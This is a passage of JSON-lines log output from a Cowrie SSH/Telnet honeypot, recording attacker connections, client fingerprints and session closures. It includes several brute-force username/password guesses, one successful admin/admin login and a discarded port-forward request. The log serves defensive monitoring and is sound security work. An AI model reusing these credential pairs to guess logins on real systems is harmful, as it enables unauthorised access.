],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:53:39.867754Z","src_ip":"115.190.179.68","session":"911274d122ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"xguest","password":"xguest123","message":"login attempt [xguest/xguest123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:53:40.772050Z","src_ip":"115.190.179.68","session":"911274d122ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:53:41.993228Z","src_ip":"115.190.179.68","session":"911274d122ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.74750876426697,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:53:44.873287Z","src_ip":"103.115.172.252","session":"38c83a2475da","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.65.3.189","src_port":54180,"dst_ip":"10.17.0.5","dst_port":23,"session":"87a27747e2fd","protocol":"telnet","message":"New connection: 69.65.3.189:54180 (10.17.0.5:23) [session: 87a27747e2fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:53:46.974806Z"}
{"eventid":"cowrie.session.connect","src_ip":"72.79.42.117","src_port":59264,"dst_ip":"159.203.135.109","dst_port":22,"session":"d2346b0caa8c","protocol":"ssh","message":"New connection: 72.79.42.117:59264 (159.203.135.109:22) [session: d2346b0caa8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:54:03.850035Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:54:03.855652Z","src_ip":"72.79.42.117","session":"d2346b0caa8c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:54:03.863543Z","src_ip":"72.79.42.117","session":"d2346b0caa8c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bitrix","password":"111","message":"login attempt [bitrix/111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:54:03.921772Z","src_ip":"72.79.42.117","session":"d2346b0caa8c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:54:04.934054Z","src_ip":"72.79.42.117","session":"d2346b0caa8c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":65080,"dst_ip":"10.17.0.5","dst_port":22,"session":"b6573b408d80","protocol":"ssh","message":"New connection: 87.251.64.176:65080 (10.17.0.5:22) [session: b6573b408d80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:54:15.122862Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:54:15.132342Z","src_ip":"87.251.64.176","session":"b6573b408d80","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:54:15.220941Z","src_ip":"87.251.64.176","session":"b6573b408d80","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:54:15.603900Z","src_ip":"87.251.64.176","session":"b6573b408d80","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:54:15.703506Z","session":"b6573b408d80","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:54:15.802290Z","src_ip":"87.251.64.176","session":"b6573b408d80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:54:16.041919Z","src_ip":"87.251.64.176","session":"b6573b408d80","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.190.179.68","src_port":59692,"dst_ip":"159.203.135.109","dst_port":22,"session":"3b31e89a8d76","protocol":"ssh","message":"New connection: 115.190.179.68:59692 (159.203.135.109:22) [session: 3b31e89a8d76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:54:18.105485Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:54:18.110213Z","src_ip":"115.190.179.68","session":"3b31e89a8d76","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:54:18.338628Z","src_ip":"115.190.179.68","session":"3b31e89a8d76","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"myserver","message":"login attempt [root/myserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:54:19.858378Z","src_ip":"115.190.179.68","session":"3b31e89a8d76","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:54:21.089351Z","src_ip":"115.190.179.68","session":"3b31e89a8d76","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.88410758972168,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:54:21.858785Z","src_ip":"69.65.3.189","session":"87a27747e2fd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.65.3.189","src_port":40584,"dst_ip":"10.17.0.5","dst_port":23,"session":"3b82d61ca4fa","protocol":"telnet","message":"New connection: 69.65.3.189:40584 (10.17.0.5:23) [session: 3b82d61ca4fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:54:42.877047Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.72.47.216","src_port":44866,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa30e140eeec","protocol":"telnet","message":"New connection: 62.72.47.216:44866 (10.17.0.5:23) [session: fa30e140eeec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:54:44.393257Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.72.47.216","src_port":44902,"dst_ip":"10.17.0.5","dst_port":23,"session":"a6dd2afdf7bd","protocol":"telnet","message":"New connection: 62.72.47.216:44902 (10.17.0.5:23) [session: a6dd2afdf7bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:54:44.443608Z"}
{"eventid":"cowrie.session.closed","duration":120.00147318840027,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:54:46.667310Z","src_ip":"186.22.54.32","session":"b2d65cbf3c78","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.72.47.216","src_port":47576,"dst_ip":"10.17.0.5","dst_port":23,"session":"b0c7d696ba4d","protocol":"telnet","message":"New connection: 62.72.47.216:47576 (10.17.0.5:23) [session: b0c7d696ba4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:54:47.483952Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.22.54.32","src_port":43454,"dst_ip":"10.17.0.5","dst_port":23,"session":"76a3568d4fb1","protocol":"telnet","message":"New connection: 186.22.54.32:43454 (10.17.0.5:23) [session: 76a3568d4fb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:54:48.201048Z"}
{"eventid":"cowrie.session.connect","src_ip":"72.79.42.117","src_port":54516,"dst_ip":"159.203.135.109","dst_port":22,"session":"b6db8c993d13","protocol":"ssh","message":"New connection: 72.79.42.117:54516 (159.203.135.109:22) [session: b6db8c993d13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:54:51.473923Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:54:51.478850Z","src_ip":"72.79.42.117","session":"b6db8c993d13","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:54:51.487264Z","src_ip":"72.79.42.117","session":"b6db8c993d13","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"princess","message":"login attempt [admin/princess] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:54:51.551724Z","src_ip":"72.79.42.117","session":"b6db8c993d13","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:54:52.564506Z","src_ip":"72.79.42.117","session":"b6db8c993d13","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00179648399353,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:54:53.482431Z","src_ip":"186.22.54.32","session":"0fc626e9203f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.72.47.216","src_port":39608,"dst_ip":"10.17.0.5","dst_port":23,"session":"2673f83cbbe1","protocol":"telnet","message":"New connection: 62.72.47.216:39608 (10.17.0.5:23) [session: 2673f83cbbe1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:55:10.539421Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":47540,"dst_ip":"10.17.0.5","dst_port":23,"session":"c9041974ae10","protocol":"telnet","message":"New connection: 94.46.12.68:47540 (10.17.0.5:23) [session: c9041974ae10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:55:10.869273Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.72.47.216","src_port":43388,"dst_ip":"10.17.0.5","dst_port":23,"session":"ad1c3dfb6304","protocol":"telnet","message":"New connection: 62.72.47.216:43388 (10.17.0.5:23) [session: ad1c3dfb6304]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:55:14.147927Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.65.3.189","src_port":47182,"dst_ip":"10.17.0.5","dst_port":23,"session":"b631aed1e71a","protocol":"telnet","message":"New connection: 69.65.3.189:47182 (10.17.0.5:23) [session: b631aed1e71a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:55:14.945082Z"}
{"eventid":"cowrie.session.closed","duration":30.856136560440063,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:55:15.299652Z","src_ip":"62.72.47.216","session":"a6dd2afdf7bd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.124489307403564,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:55:15.517623Z","src_ip":"62.72.47.216","session":"fa30e140eeec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.000807762145996,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:55:18.484618Z","src_ip":"62.72.47.216","session":"b0c7d696ba4d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.69786524772644,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:55:20.574776Z","src_ip":"69.65.3.189","session":"3b82d61ca4fa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.65.3.189","src_port":50166,"dst_ip":"10.17.0.5","dst_port":23,"session":"a70144f15727","protocol":"telnet","message":"New connection: 69.65.3.189:50166 (10.17.0.5:23) [session: a70144f15727]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:55:25.774696Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.72.47.216","src_port":52858,"dst_ip":"10.17.0.5","dst_port":23,"session":"e0585aebb590","protocol":"telnet","message":"New connection: 62.72.47.216:52858 (10.17.0.5:23) [session: e0585aebb590]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:55:26.077233Z"}
{"eventid":"cowrie.session.connect","src_ip":"115.190.179.68","src_port":60580,"dst_ip":"159.203.135.109","dst_port":22,"session":"74fd43c04dfb","protocol":"ssh","message":"New connection: 115.190.179.68:60580 (159.203.135.109:22) [session: 74fd43c04dfb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:55:34.802611Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:55:34.809846Z","src_ip":"115.190.179.68","session":"74fd43c04dfb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:55:35.036257Z","src_ip":"115.190.179.68","session":"74fd43c04dfb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"password209","message":"login attempt [ubuntu/password209] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:55:35.955844Z","src_ip":"115.190.179.68","session":"74fd43c04dfb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:55:37.179907Z","src_ip":"115.190.179.68","session":"74fd43c04dfb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.430701732635498,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:55:41.299863Z","src_ip":"94.46.12.68","session":"c9041974ae10","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.785741329193115,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:55:41.325027Z","src_ip":"62.72.47.216","session":"2673f83cbbe1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"72.79.42.117","src_port":57170,"dst_ip":"159.203.135.109","dst_port":22,"session":"ccd778f89f6a","protocol":"ssh","message":"New connection: 72.79.42.117:57170 (159.203.135.109:22) [session: ccd778f89f6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:55:41.597163Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:55:41.601634Z","src_ip":"72.79.42.117","session":"ccd778f89f6a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","e